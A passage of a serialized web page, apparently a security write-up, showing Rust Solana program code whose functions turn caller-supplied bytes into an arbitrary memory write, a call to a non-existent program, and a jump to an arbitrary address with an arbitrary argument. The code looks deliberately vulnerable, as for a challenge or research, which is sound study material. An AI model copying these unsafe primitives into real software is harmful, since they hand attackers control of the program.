{\n",{"type":20,"tag":315,"props":39043,"children":39044},{"class":317,"line":365},[39045,39049],{"type":20,"tag":315,"props":39046,"children":39047},{"style":541},[39048],{"type":26,"value":12234},{"type":20,"tag":315,"props":39050,"children":39051},{"style":328},[39052],{"type":26,"value":1092},{"type":20,"tag":315,"props":39054,"children":39055},{"class":317,"line":374},[39056,39060,39064,39068,39073,39077,39082,39086,39091,39095,39100,39104,39108,39112,39116,39120,39124,39128,39132,39136,39140,39144,39148,39152,39156,39160,39164,39168,39172],{"type":20,"tag":315,"props":39057,"children":39058},{"style":541},[39059],{"type":26,"value":1445},{"type":20,"tag":315,"props":39061,"children":39062},{"style":635},[39063],{"type":26,"value":12258},{"type":20,"tag":315,"props":39065,"children":39066},{"style":334},[39067],{"type":26,"value":1395},{"type":20,"tag":315,"props":39069,"children":39070},{"style":328},[39071],{"type":26,"value":39072}," std",{"type":20,"tag":315,"props":39074,"children":39075},{"style":334},[39076],{"type":26,"value":1861},{"type":20,"tag":315,"props":39078,"children":39079},{"style":328},[39080],{"type":26,"value":39081},"mem",{"type":20,"tag":315,"props":39083,"children":39084},{"style":334},[39085],{"type":26,"value":1861},{"type":20,"tag":315,"props":39087,"children":39088},{"style":345},[39089],{"type":26,"value":39090},"transmute",{"type":20,"tag":315,"props":39092,"children":39093},{"style":334},[39094],{"type":26,"value":1861},{"type":20,"tag":315,"props":39096,"children":39097},{"style":328},[39098],{"type":26,"value":39099},"\u003C[",{"type":20,"tag":315,"props":39101,"children":39102},{"style":322},[39103],{"type":26,"value":1802},{"type":20,"tag":315,"props":39105,"children":39106},{"style":328},[39107],{"type":26,"value":15629},{"type":20,"tag":315,"props":39109,"children":39110},{"style":765},[39111],{"type":26,"value":2469},{"type":20,"tag":315,"props":39113,"children":39114},{"style":328},[39115],{"type":26,"value":21465},{"type":20,"tag":315,"props":39117,"children":39118},{"style":334},[39119],{"type":26,"value":901},{"type":20,"tag":315,"props":39121,"children":39122},{"style":541},[39123],{"type":26,"value":2107},{"type":20,"tag":315,"props":39125,"children":39126},{"style":322},[39127],{"type":26,"value":4253},{"type":20,"tag":315,"props":39129,"children":39130},{"style":328},[39131],{"type":26,"value":6006},{"type":20,"tag":315,"props":39133,"children":39134},{"style":635},[39135],{"type":26,"value":2085},{"type":20,"tag":315,"props":39137,"children":39138},{"style":328},[39139],{"type":26,"value":2117},{"type":20,"tag":315,"props":39141,"children":39142},{"style":334},[39143],{"type":26,"value":1432},{"type":20,"tag":315,"props":39145,"children":39146},{"style":765},[39147],{"type":26,"value":2469},{"type":20,"tag":315,"props":39149,"children":39150},{"style":328},[39151],{"type":26,"value":13812},{"type":20,"tag":315,"props":39153,"children":39154},{"style":334},[39155],{"type":26,"value":61},{"type":20,"tag":315,"props":39157,"children":39158},{"style":345},[39159],{"type":26,"value":24578},{"type":20,"tag":315,"props":39161,"children":39162},{"style":328},[39163],{"type":26,"value":12280},{"type":20,"tag":315,"props":39165,"children":39166},{"style":334},[39167],{"type":26,"value":61},{"type":20,"tag":315,"props":39169,"children":39170},{"style":345},[39171],{"type":26,"value":2046},{"type":20,"tag":315,"props":39173,"children":39174},{"style":328},[39175],{"type":26,"value":13826},{"type":20,"tag":315,"props":39177,"children":39178},{"class":317,"line":383},[39179,39183,39188,39192,39196,39200,39204,39208,39212,39216,39220,39224,39228,39232,39236,39240,39244,39248,39252,39256,39260,39265,39269,39273,39277,39281,39285,39289],{"type":20,"tag":315,"props":39180,"children":39181},{"style":541},[39182],{"type":26,"value":1445},{"type":20,"tag":315,"props":39184,"children":39185},{"style":635},[39186],{"type":26,"value":39187}," val",{"type":20,"tag":315,"props":39189,"children":39190},{"style":334},[39191],{"type":26,"value":1395},{"type":20,"tag":315,"props":39193,"children":39194},{"style":328},[39195],{"type":26,"value":39072},{"type":20,"tag":315,"props":39197,"children":39198},{"style":334},[39199],{"type":26,"value":1861},{"type":20,"tag":315,"props":39201,"children":39202},{"style":328},[39203],{"type":26,"value":39081},{"type":20,"tag":315,"props":39205,"children":39206},{"style":334},[39207],{"type":26,"value":1861},{"type":20,"tag":315,"props":39209,"children":39210},{"style":345},[39211],{"type":26,"value":39090},{"type":20,"tag":315,"props":39213,"children":39214},{"style":334},[39215],{"type":26,"value":1861},{"type":20,"tag":315,"props":39217,"children":39218},{"style":328},[39219],{"type":26,"value":39099},{"type":20,"tag":315,"props":39221,"children":39222},{"style":322},[39223],{"type":26,"value":1802},{"type":20,"tag":315,"props":39225,"children":39226},{"style":328},[39227],{"type":26,"value":15629},{"type":20,"tag":315,"props":39229,"children":39230},{"style":765},[39231],{"type":26,"value":2469},{"type":20,"tag":315,"props":39233,"children":39234},{"style":328},[39235],{"type":26,"value":21465},{"type":20,"tag":315,"props":39237,"children":39238},{"style":322},[39239],{"type":26,"value":6438},{"type":20,"tag":315,"props":39241,"children":39242},{"style":328},[39243],{"type":26,"value":6006},{"type":20,"tag":315,"props":39245,"children":39246},{"style":635},[39247],{"type":26,"value":2085},{"type":20,"tag":315,"props":39249,"children":39250},{"style":328},[39251],{"type":26,"value":2117},{"type":20,"tag":315,"props":39253,"children":39254},{"style":765},[39255],{"type":26,"value":2469},{"type":20,"tag":315,"props":39257,"children":39258},{"style":334},[39259],{"type":26,"value":1432},{"type":20,"tag":315,"props":39261,"children":39262},{"style":765},[39263],{"type":26,"value":39264},"16",{"type":20,"tag":315,"props":39266,"children":39267},{"style":328},[39268],{"type":26,"value":13812},{"type":20,"tag":315,"props":39270,"children":39271},{"style":334},[39272],{"type":26,"value":61},{"type":20,"tag":315,"props":39274,"children":39275},{"style":345},[39276],{"type":26,"value":24578},{"type":20,"tag":315,"props":39278,"children":39279},{"style":328},[39280],{"type":26,"value":12280},{"type":20,"tag":315,"props":39282,"children":39283},{"style":334},[39284],{"type":26,"value":61},{"type":20,"tag":315,"props":39286,"children":39287},{"style":345},[39288],{"type":26,"value":2046},{"type":20,"tag":315,"props":39290,"children":39291},{"style":328},[39292],{"type":26,"value":13826},{"type":20,"tag":315,"props":39294,"children":39295},{"class":317,"line":407},[39296,39301,39305,39310,39314,39318],{"type":20,"tag":315,"props":39297,"children":39298},{"style":635},[39299],{"type":26,"value":39300}," ptr",{"type":20,"tag":315,"props":39302,"children":39303},{"style":334},[39304],{"type":26,"value":61},{"type":20,"tag":315,"props":39306,"children":39307},{"style":345},[39308],{"type":26,"value":39309},"write_volatile",{"type":20,"tag":315,"props":39311,"children":39312},{"style":328},[39313],{"type":26,"value":1049},{"type":20,"tag":315,"props":39315,"children":39316},{"style":635},[39317],{"type":26,"value":11032},{"type":20,"tag":315,"props":39319,"children":39320},{"style":328},[39321],{"type":26,"value":2214},{"type":20,"tag":315,"props":39323,"children":39324},{"class":317,"line":421},[39325],{"type":20,"tag":315,"props":39326,"children":39327},{"style":328},[39328],{"type":26,"value":1736},{"type":20,"tag":315,"props":39330,"children":39331},{"class":317,"line":430},[39332],{"type":20,"tag":315,"props":39333,"children":39334},{"style":328},[39335],{"type":26,"value":577},{"type":20,"tag":68,"props":39337,"children":39338},{"start":356},[39339],{"type":20,"tag":72,"props":39340,"children":39341},{},[39342,39343,39349],{"type":26,"value":5875},{"type":20,"tag":119,"props":39344,"children":39346},{"className":39345},[],[39347],{"type":26,"value":39348},"data[0] == 1",{"type":26,"value":39350},", a CPI to a non-existent program is executed:",{"type":20,"tag":305,"props":39352,"children":39354},{"className":1360,"code":39353,"language":1359,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n let ix = Instruction {\n program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n data: data.try_into().unwrap(),\n accounts: vec![]\n };\n\n invoke_signed_unchecked(\n &ix,\n &[],\n &[],\n ).unwrap();\n}\n",[39355],{"type":20,"tag":119,"props":39356,"children":39357},{"__ignoreMap":7},[39358,39365,39409,39434,39464,39504,39525,39532,39539,39551,39567,39579,39590,39609],{"type":20,"tag":315,"props":39359,"children":39360},{"class":317,"line":318},[39361],{"type":20,"tag":315,"props":39362,"children":39363},{"style":328},[39364],{"type":26,"value":38996},{"type":20,"tag":315,"props":39366,"children":39367},{"class":317,"line":356},[39368,39372,39376,39381,39385,39389,39393,39397,39401,39405],{"type":20,"tag":315,"props":39369,"children":39370},{"style":541},[39371],{"type":26,"value":12091},{"type":20,"tag":315,"props":39373,"children":39374},{"style":541},[39375],{"type":26,"value":12096},{"type":20,"tag":315,"props":39377,"children":39378},{"style":345},[39379],{"type":26,"value":39380}," call",{"type":20,"tag":315,"props":39382,"children":39383},{"style":328},[39384],{"type":26,"value":1049},{"type":20,"tag":315,"props":39386,"children":39387},{"style":635},[39388],{"type":26,"value":2085},{"type":20,"tag":315,"props":39390,"children":39391},{"style":334},[39392],{"type":26,"value":2884},{"type":20,"tag":315,"props":39394,"children":39395},{"style":334},[39396],{"type":26,"value":5536},{"type":20,"tag":315,"props":39398,"children":39399},{"style":328},[39400],{"type":26,"value":2117},{"type":20,"tag":315,"props":39402,"children":39403},{"style":322},[39404],{"type":26,"value":1802},{"type":20,"tag":315,"props":39406,"children":39407},{"style":328},[39408],{"type":26,"value":39041},{"type":20,"tag":315,"props":39410,"children":39411},{"class":317,"line":365},[39412,39416,39421,39425,39430],{"type":20,"tag":315,"props":39413,"children":39414},{"style":541},[39415],{"type":26,"value":1380},{"type":20,"tag":315,"props":39417,"children":39418},{"style":635},[39419],{"type":26,"value":39420}," ix",{"type":20,"tag":315,"props":39422,"children":39423},{"style":334},[39424],{"type":26,"value":1395},{"type":20,"tag":315,"props":39426,"children":39427},{"style":322},[39428],{"type":26,"value":39429}," Instruction",{"type":20,"tag":315,"props":39431,"children":39432},{"style":328},[39433],{"type":26,"value":1092},{"type":20,"tag":315,"props":39435,"children":39436},{"class":317,"line":374},[39437,39442,39446,39451,39455,39460],{"type":20,"tag":315,"props":39438,"children":39439},{"style":635},[39440],{"type":26,"value":39441}," program_id",{"type":20,"tag":315,"props":39443,"children":39444},{"style":334},[39445],{"type":26,"value":2884},{"type":20,"tag":315,"props":39447,"children":39448},{"style":345},[39449],{"type":26,"value":39450}," pubkey!",{"type":20,"tag":315,"props":39452,"children":39453},{"style":328},[39454],{"type":26,"value":1049},{"type":20,"tag":315,"props":39456,"children":39457},{"style":2652},[39458],{"type":26,"value":39459},"\"osecio5555555555555551111111111111111111111\"",{"type":20,"tag":315,"props":39461,"children":39462},{"style":328},[39463],{"type":26,"value":5131},{"type":20,"tag":315,"props":39465,"children":39466},{"class":317,"line":383},[39467,39472,39476,39480,39484,39488,39492,39496,39500],{"type":20,"tag":315,"props":39468,"children":39469},{"style":635},[39470],{"type":26,"value":39471}," data",{"type":20,"tag":315,"props":39473,"children":39474},{"style":334},[39475],{"type":26,"value":2884},{"type":20,"tag":315,"props":39477,"children":39478},{"style":635},[39479],{"type":26,"value":13505},{"type":20,"tag":315,"props":39481,"children":39482},{"style":334},[39483],{"type":26,"value":61},{"type":20,"tag":315,"props":39485,"children":39486},{"style":345},[39487],{"type":26,"value":24578},{"type":20,"tag":315,"props":39489,"children":39490},{"style":328},[39491],{"type":26,"value":12280},{"type":20,"tag":315,"props":39493,"children":39494},{"style":334},[39495],{"type":26,"value":61},{"type":20,"tag":315,"props":39497,"children":39498},{"style":345},[39499],{"type":26,"value":2046},{"type":20,"tag":315,"props":39501,"children":39502},{"style":328},[39503],{"type":26,"value":1871},{"type":20,"tag":315,"props":39505,"children":39506},{"class":317,"line":407},[39507,39512,39516,39520],{"type":20,"tag":315,"props":39508,"children":39509},{"style":635},[39510],{"type":26,"value":39511}," accounts",{"type":20,"tag":315,"props":39513,"children":39514},{"style":334},[39515],{"type":26,"value":2884},{"type":20,"tag":315,"props":39517,"children":39518},{"style":345},[39519],{"type":26,"value":2112},{"type":20,"tag":315,"props":39521,"children":39522},{"style":328},[39523],{"type":26,"value":39524},"[]\n",{"type":20,"tag":315,"props":39526,"children":39527},{"class":317,"line":421},[39528],{"type":20,"tag":315,"props":39529,"children":39530},{"style":328},[39531],{"type":26,"value":37413},{"type":20,"tag":315,"props":39533,"children":39534},{"class":317,"line":430},[39535],{"type":20,"tag":315,"props":39536,"children":39537},{"emptyLinePlaceholder":15},[39538],{"type":26,"value":427},{"type":20,"tag":315,"props":39540,"children":39541},{"class":317,"line":453},[39542,39547],{"type":20,"tag":315,"props":39543,"children":39544},{"style":345},[39545],{"type":26,"value":39546}," invoke_signed_unchecked",{"type":20,"tag":315,"props":39548,"children":39549},{"style":328},[39550],{"type":26,"value":353},{"type":20,"tag":315,"props":39552,"children":39553},{"class":317,"line":486},[39554,39558,39563],{"type":20,"tag":315,"props":39555,"children":39556},{"style":334},[39557],{"type":26,"value":1851},{"type":20,"tag":315,"props":39559,"children":39560},{"style":635},[39561],{"type":26,"value":39562},"ix",{"type":20,"tag":315,"props":39564,"children":39565},{"style":328},[39566],{"type":26,"value":643},{"type":20,"tag":315,"props":39568,"children":39569},{"class":317,"line":499},[39570,39574],{"type":20,"tag":315,"props":39571,"children":39572},{"style":334},[39573],{"type":26,"value":1851},{"type":20,"tag":315,"props":39575,"children":39576},{"style":328},[39577],{"type":26,"value":39578},"[],\n",{"type":20,"tag":315,"props":39580,"children":39581},{"class":317,"line":513},[39582,39586],{"type":20,"tag":315,"props":39583,"children":39584},{"style":334},[39585],{"type":26,"value":1851},{"type":20,"tag":315,"props":39587,"children":39588},{"style":328},[39589],{"type":26,"value":39578},{"type":20,"tag":315,"props":39591,"children":39592},{"class":317,"line":521},[39593,39597,39601,39605],{"type":20,"tag":315,"props":39594,"children":39595},{"style":328},[39596],{"type":26,"value":2037},{"type":20,"tag":315,"props":39598,"children":39599},{"style":334},[39600],{"type":26,"value":61},{"type":20,"tag":315,"props":39602,"children":39603},{"style":345},[39604],{"type":26,"value":2046},{"type":20,"tag":315,"props":39606,"children":39607},{"style":328},[39608],{"type":26,"value":568},{"type":20,"tag":315,"props":39610,"children":39611},{"class":317,"line":552},[39612],{"type":20,"tag":315,"props":39613,"children":39614},{"style":328},[39615],{"type":26,"value":577},{"type":20,"tag":68,"props":39617,"children":39618},{"start":365},[39619],{"type":20,"tag":72,"props":39620,"children":39621},{},[39622,39624,39630],{"type":26,"value":39623},"Finally, if ",{"type":20,"tag":119,"props":39625,"children":39627},{"className":39626},[],[39628],{"type":26,"value":39629},"data[0]",{"type":26,"value":39631}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":20,"tag":305,"props":39633,"children":39635},{"className":1360,"code":39634,"language":1359,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n unsafe {\n let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr(val);\n\n data = &data[16..];\n\n let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr(val);\n }\n}\n",[39636],{"type":20,"tag":119,"props":39637,"children":39638},{"__ignoreMap":7},[39639,39646,39694,39705,39825,39940,39959,39966,40001,40008,40127,40242,40261,40268],{"type":20,"tag":315,"props":39640,"children":39641},{"class":317,"line":318},[39642],{"type":20,"tag":315,"props":39643,"children":39644},{"style":328},[39645],{"type":26,"value":38996},{"type":20,"tag":315,"props":39647,"children":39648},{"class":317,"line":356},[39649,39653,39657,39662,39666,39670,39674,39678,39682,39686,39690],{"type":20,"tag":315,"props":39650,"children":39651},{"style":541},[39652],{"type":26,"value":12091},{"type":20,"tag":315,"props":39654,"children":39655},{"style":541},[39656],{"type":26,"value":12096},{"type":20,"tag":315,"props":39658,"children":39659},{"style":345},[39660],{"type":26,"value":39661}," process",{"type":20,"tag":315,"props":39663,"children":39664},{"style":328},[39665],{"type":26,"value":1049},{"type":20,"tag":315,"props":39667,"children":39668},{"style":541},[39669],{"type":26,"value":2107},{"type":20,"tag":315,"props":39671,"children":39672},{"style":635},[39673],{"type":26,"value":13505},{"type":20,"tag":315,"props":39675,"children":39676},{"style":334},[39677],{"type":26,"value":2884},{"type":20,"tag":315,"props":39679,"children":39680},{"style":334},[39681],{"type":26,"value":5536},{"type":20,"tag":315,"props":39683,"children":39684},{"style":328},[39685],{"type":26,"value":2117},{"type":20,"tag":315,"props":39687,"children":39688},{"style":322},[39689],{"type":26,"value":1802},{"type":20,"tag":315,"props":39691,"children":39692},{"style":328},[39693],{"type":26,"value":39041},{"type":20,"tag":315,"props":39695,"children":39696},{"class":317,"line":365},[39697,39701],{"type":20,"tag":315,"props":39698,"children":39699},{"style":541},[39700],{"type":26,"value":12234},{"type":20,"tag":315,"props":39702,"children":39703},{"style":328},[39704],{"type":26,"value":1092},{"type":20,"tag":315,"props":39706,"children":39707},{"class":317,"line":374},[39708,39712,39716,39720,39724,39728,39732,39736,39740,39744,39748,39752,39756,39760,39764,39768,39772,39776,39781,39785,39789,39793,39797,39801,39805,39809,39813,39817,39821],{"type":20,"tag":315,"props":39709,"children":39710},{"style":541},[39711],{"type":26,"value":1445},{"type":20,"tag":315,"props":39713,"children":39714},{"style":635},[39715],{"type":26,"value":12258},{"type":20,"tag":315,"props":39717,"children":39718},{"style":334},[39719],{"type":26,"value":1395},{"type":20,"tag":315,"props":39721,"children":39722},{"style":328},[39723],{"type":26,"value":39072},{"type":20,"tag":315,"props":39725,"children":39726},{"style":334},[39727],{"type":26,"value":1861},{"type":20,"tag":315,"props":39729,"children":39730},{"style":328},[39731],{"type":26,"value":39081},{"type":20,"tag":315,"props":39733,"children":39734},{"style":334},[39735],{"type":26,"value":1861},{"type":20,"tag":315,"props":39737,"children":39738},{"style":345},[39739],{"type":26,"value":39090},{"type":20,"tag":315,"props":39741,"children":39742},{"style":334},[39743],{"type":26,"value":1861},{"type":20,"tag":315,"props":39745,"children":39746},{"style":328},[39747],{"type":26,"value":39099},{"type":20,"tag":315,"props":39749,"children":39750},{"style":322},[39751],{"type":26,"value":1802},{"type":20,"tag":315,"props":39753,"children":39754},{"style":328},[39755],{"type":26,"value":15629},{"type":20,"tag":315,"props":39757,"children":39758},{"style":765},[39759],{"type":26,"value":2469},{"type":20,"tag":315,"props":39761,"children":39762},{"style":328},[39763],{"type":26,"value":21465},{"type":20,"tag":315,"props":39765,"children":39766},{"style":541},[39767],{"type":26,"value":18670},{"type":20,"tag":315,"props":39769,"children":39770},{"style":328},[39771],{"type":26,"value":1049},{"type":20,"tag":315,"props":39773,"children":39774},{"style":322},[39775],{"type":26,"value":6438},{"type":20,"tag":315,"props":39777,"children":39778},{"style":328},[39779],{"type":26,"value":39780},")>(",{"type":20,"tag":315,"props":39782,"children":39783},{"style":635},[39784],{"type":26,"value":2085},{"type":20,"tag":315,"props":39786,"children":39787},{"style":328},[39788],{"type":26,"value":2117},{"type":20,"tag":315,"props":39790,"children":39791},{"style":334},[39792],{"type":26,"value":1432},{"type":20,"tag":315,"props":39794,"children":39795},{"style":765},[39796],{"type":26,"value":2469},{"type":20,"tag":315,"props":39798,"children":39799},{"style":328},[39800],{"type":26,"value":13812},{"type":20,"tag":315,"props":39802,"children":39803},{"style":334},[39804],{"type":26,"value":61},{"type":20,"tag":315,"props":39806,"children":39807},{"style":345},[39808],{"type":26,"value":24578},{"type":20,"tag":315,"props":39810,"children":39811},{"style":328},[39812],{"type":26,"value":12280},{"type":20,"tag":315,"props":39814,"children":39815},{"style":334},[39816],{"type":26,"value":61},{"type":20,"tag":315,"props":39818,"children":39819},{"style":345},[39820],{"type":26,"value":2046},{"type":20,"tag":315,"props":39822,"children":39823},{"style":328},[39824],{"type":26,"value":13826},{"type":20,"tag":315,"props":39826,"children":39827},{"class":317,"line":383},[39828,39832,39836,39840,39844,39848,39852,39856,39860,39864,39868,39872,39876,39880,39884,39888,39892,39896,39900,39904,39908,39912,39916,39920,39924,39928,39932,39936],{"type":20,"tag":315,"props":39829,"children":39830},{"style":541},[39831],{"type":26,"value":1445},{"type":20,"tag":315,"props":39833,"children":39834},{"style":635},[39835],{"type":26,"value":39187},{"type":20,"tag":315,"props":39837,"children":39838},{"style":334},[39839],{"type":26,"value":1395},{"type":20,"tag":315,"props":39841,"children":39842},{"style":328},[39843],{"type":26,"value":39072},{"type":20,"tag":315,"props":39845,"children":39846},{"style":334},[39847],{"type":26,"value":1861},{"type":20,"tag":315,"props":39849,"children":39850},{"style":328},[39851],{"type":26,"value":39081},{"type":20,"tag":315,"props":39853,"children":39854},{"style":334},[39855],{"type":26,"value":1861},{"type":20,"tag":315,"props":39857,"children":39858},{"style":345},[39859],{"type":26,"value":39090},{"type":20,"tag":315,"props":39861,"children":39862},{"style":334},[39863],{"type":26,"value":1861},{"type":20,"tag":315,"props":39865,"children":39866},{"style":328},[39867],{"type":26,"value":39099},{"type":20,"tag":315,"props":39869,"children":39870},{"style":322},[39871],{"type":26,"value":1802},{"type":20,"tag":315,"props":39873,"children":39874},{"style":328},[39875],{"type":26,"value":15629},{"type":20,"tag":315,"props":39877,"children":39878},{"style":765},[39879],{"type":26,"value":2469},{"type":20,"tag":315,"props":39881,"children":39882},{"style":328},[39883],{"type":26,"value":21465},{"type":20,"tag":315,"props":39885,"children":39886},{"style":322},[39887],{"type":26,"value":6438},{"type":20,"tag":315,"props":39889,"children":39890},{"style":328},[39891],{"type":26,"value":6006},{"type":20,"tag":315,"props":39893,"children":39894},{"style":635},[39895],{"type":26,"value":2085},{"type":20,"tag":315,"props":39897,"children":39898},{"style":328},[39899],{"type":26,"value":2117},{"type":20,"tag":315,"props":39901,"children":39902},{"style":765},[39903],{"type":26,"value":2469},{"type":20,"tag":315,"props":39905,"children":39906},{"style":334},[39907],{"type":26,"value":1432},{"type":20,"tag":315,"props":39909,"children":39910},{"style":765},[39911],{"type":26,"value":39264},{"type":20,"tag":315,"props":39913,"children":39914},{"style":328},[39915],{"type":26,"value":13812},{"type":20,"tag":315,"props":39917,"children":39918},{"style":334},[39919],{"type":26,"value":61},{"type":20,"tag":315,"props":39921,"children":39922},{"style":345},[39923],{"type":26,"value":24578},{"type":20,"tag":315,"props":39925,"children":39926},{"style":328},[39927],{"type":26,"value":12280},{"type":20,"tag":315,"props":39929,"children":39930},{"style":334},[39931],{"type":26,"value":61},{"type":20,"tag":315,"props":39933,"children":39934},{"style":345},[39935],{"type":26,"value":2046},{"type":20,"tag":315,"props":39937,"children":39938},{"style":328},[39939],{"type":26,"value":13826},{"type":20,"tag":315,"props":39941,"children":39942},{"class":317,"line":407},[39943,39947,39951,39955],{"type":20,"tag":315,"props":39944,"children":39945},{"style":345},[39946],{"type":26,"value":39300},{"type":20,"tag":315,"props":39948,"children":39949},{"style":328},[39950],{"type":26,"value":1049},{"type":20,"tag":315,"props":39952,"children":39953},{"style":635},[39954],{"type":26,"value":11032},{"type":20,"tag":315,"props":39956,"children":39957},{"style":328},[39958],{"type":26,"value":2214},{"type":20,"tag":315,"props":39960,"children":39961},{"class":317,"line":421},[39962],{"type":20,"tag":315,"props":39963,"children":39964},{"emptyLinePlaceholder":15},[39965],{"type":26,"value":427},{"type":20,"tag":315,"props":39967,"children":39968},{"class":317,"line":430},[39969,39973,39977,39981,39985,39989,39993,39997],{"type":20,"tag":315,"props":39970,"children":39971},{"style":635},[39972],{"type":26,"value":39471},{"type":20,"tag":315,"props":39974,"children":39975},{"style":334},[39976],{"type":26,"value":1395},{"type":20,"tag":315,"props":39978,"children":39979},{"style":334},[39980],{"type":26,"value":5536},{"type":20,"tag":315,"props":39982,"children":39983},{"style":635},[39984],{"type":26,"value":2085},{"type":20,"tag":315,"props":39986,"children":39987},{"style":328},[39988],{"type":26,"value":2117},{"type":20,"tag":315,"props":39990,"children":39991},{"style":765},[39992],{"type":26,"value":39264},{"type":20,"tag":315,"props":39994,"children":39995},{"style":334},[39996],{"type":26,"value":1432},{"type":20,"tag":315,"props":39998,"children":39999},{"style":328},[40000],{"type":26,"value":29989},{"type":20,"tag":315,"props":40002,"children":40003},{"class":317,"line":453},[40004],{"type":20,"tag":315,"props":40005,"children":40006},{"emptyLinePlaceholder":15},[40007],{"type":26,"value":427},{"type":20,"tag":315,"props":40009,"children":40010},{"class":317,"line":486},[40011,40015,40019,40023,40027,40031,40035,40039,40043,40047,40051,40055,40059,40063,40067,40071,40075,40079,40083,40087,40091,40095,40099,40103,40107,40111,40115,40119,40123],{"type":20,"tag":315,"props":40012,"children":40013},{"style":541},[40014],{"type":26,"value":1445},{"type":20,"tag":315,"props":40016,"children":40017},{"style":635},[40018],{"type":26,"value":12258},{"type":20,"tag":315,"props":40020,"children":40021},{"style":334},[40022],{"type":26,"value":1395},{"type":20,"tag":315,"props":40024,"children":40025},{"style":328},[40026],{"type":26,"value":39072},{"type":20,"tag":315,"props":40028,"children":40029},{"style":334},[40030],{"type":26,"value":1861},{"type":20,"tag":315,"props":40032,"children":40033},{"style":328},[40034],{"type":26,"value":39081},{"type":20,"tag":315,"props":40036,"children":40037},{"style":334},[40038],{"type":26,"value":1861},{"type":20,"tag":315,"props":40040,"children":40041},{"style":345},[40042],{"type":26,"value":39090},{"type":20,"tag":315,"props":40044,"children":40045},{"style":334},[40046],{"type":26,"value":1861},{"type":20,"tag":315,"props":40048,"children":40049},{"style":328},[40050],{"type":26,"value":39099},{"type":20,"tag":315,"props":40052,"children":40053},{"style":322},[40054],{"type":26,"value":1802},{"type":20,"tag":315,"props":40056,"children":40057},{"style":328},[40058],{"type":26,"value":15629},{"type":20,"tag":315,"props":40060,"children":40061},{"style":765},[40062],{"type":26,"value":2469},{"type":20,"tag":315,"props":40064,"children":40065},{"style":328},[40066],{"type":26,"value":21465},{"type":20,"tag":315,"props":40068,"children":40069},{"style":541},[40070],{"type":26,"value":18670},{"type":20,"tag":315,"props":40072,"children":40073},{"style":328},[40074],{"type":26,"value":1049},{"type":20,"tag":315,"props":40076,"children":40077},{"style":322},[40078],{"type":26,"value":6438},{"type":20,"tag":315,"props":40080,"children":40081},{"style":328},[40082],{"type":26,"value":39780},{"type":20,"tag":315,"props":40084,"children":40085},{"style":635},[40086],{"type":26,"value":2085},{"type":20,"tag":315,"props":40088,"children":40089},{"style":328},[40090],{"type":26,"value":2117},{"type":20,"tag":315,"props":40092,"children":40093},{"style":334},[40094],{"type":26,"value":1432},{"type":20,"tag":315,"props":40096,"children":40097},{"style":765},[40098],{"type":26,"value":2469},{"type":20,"tag":315,"props":40100,"children":40101},{"style":328},[40102],{"type":26,"value":13812},{"type":20,"tag":315,"props":40104,"children":40105},{"style":334},[40106],{"type":26,"value":61},{"type":20,"tag":315,"props":40108,"children":40109},{"style":345},[40110],{"type":26,"value":24578},{"type":20,"tag":315,"props":40112,"children":40113},{"style":328},[40114],{"type":26,"value":12280},{"type":20,"tag":315,"props":40116,"children":40117},{"style":334},[40118],{"type":26,"value":61},{"type":20,"tag":315,"props":40120,"children":40121},{"style":345},[40122],{"type":26,"value":2046},{"type":20,"tag":315,"props":40124,"children":40125},{"style":328},[40126],{"type":26,"value":13826},{"type":20,"tag":315,"props":40128,"children":40129},{"class":317,"line":499},[40130,40134,40138,40142,40146,40150,40154,40158,40162,40166,40170,40174,40178,40182,40186,40190,40194,40198,40202,40206,40210,40214,40218,40222,40226,40230,40234,40238],{"type":20,"tag":315,"props":40131,"children":40132},{"style":541},[40133],{"type":26,"value":1445},{"type":20,"tag":315,"props":40135,"children":40136},{"style":635},[40137],{"type":26,"value":39187},{"type":20,"tag":315,"props":40139,"children":40140},{"style":334},[40141],{"type":26,"value":1395},{"type":20,"tag":315,"props":40143,"children":40144},{"style":328},[40145],{"type":26,"value":39072},{"type":20,"tag":315,"props":40147,"children":40148},{"style":334},[40149],{"type":26,"value":1861},{"type":20,"tag":315,"props":40151,"children":40152},{"style":328},[40153],{"type":26,"value":39081},{"type":20,"tag":315,"props":40155,"children":40156},{"style":334},[40157],{"type":26,"value":1861},{"type":20,"tag":315,"props":40159,"children":40160},{"style":345},[40161],{"type":26,"value":39090},{"type":20,"tag":315,"props":40163,"children":40164},{"style":334},[40165],{"type":26,"value":1861},{"type":20,"tag":315,"props":40167,"children":40168},{"style":328},[40169],{"type":26,"value":39099},{"type":20,"tag":315,"props":40171,"children":40172},{"style":322},[40173],{"type":26,"value":1802},{"type":20,"tag":315,"props":40175,"children":40176},{"style":328},[40177],{"type":26,"value":15629},{"type":20,"tag":315,"props":40179,"children":40180},{"style":765},[40181],{"type":26,"value":2469},{"type":20,"tag":315,"props":40183,"children":40184},{"style":328},[40185],{"type":26,"value":21465},{"type":20,"tag":315,"props":40187,"children":40188},{"style":322},[40189],{"type":26,"value":6438},{"type":20,"tag":315,"props":40191,"children":40192},{"style":328},[40193],{"type":26,"value":6006},{"type":20,"tag":315,"props":40195,"children":40196},{"style":635},[40197],{"type":26,"value":2085},{"type":20,"tag":315,"props":40199,"children":40200},{"style":328},[40201],{"type":26,"value":2117},{"type":20,"tag":315,"props":40203,"children":40204},{"style":765},[40205],{"type":26,"value":2469},{"type":20,"tag":315,"props":40207,"children":40208},{"style":334},[40209],{"type":26,"value":1432},{"type":20,"tag":315,"props":40211,"children":40212},{"style":765},[40213],{"type":26,"value":39264},{"type":20,"tag":315,"props":40215,"children":40216},{"style":328},[40217],{"type":26,"value":13812},{"type":20,"tag":315,"props":40219,"children":40220},{"style":334},[40221],{"type":26,"value":61},{"type":20,"tag":315,"props":40223,"children":40224},{"style":345},[40225],{"type":26,"value":24578},{"type":20,"tag":315,"props":40227,"children":40228},{"style":328},[40229],{"type":26,"value":12280},{"type":20,"tag":315,"props":40231,"children":40232},{"style":334},[40233],{"type":26,"value":61},{"type":20,"tag":315,"props":40235,"children":40236},{"style":345},[40237],{"type":26,"value":2046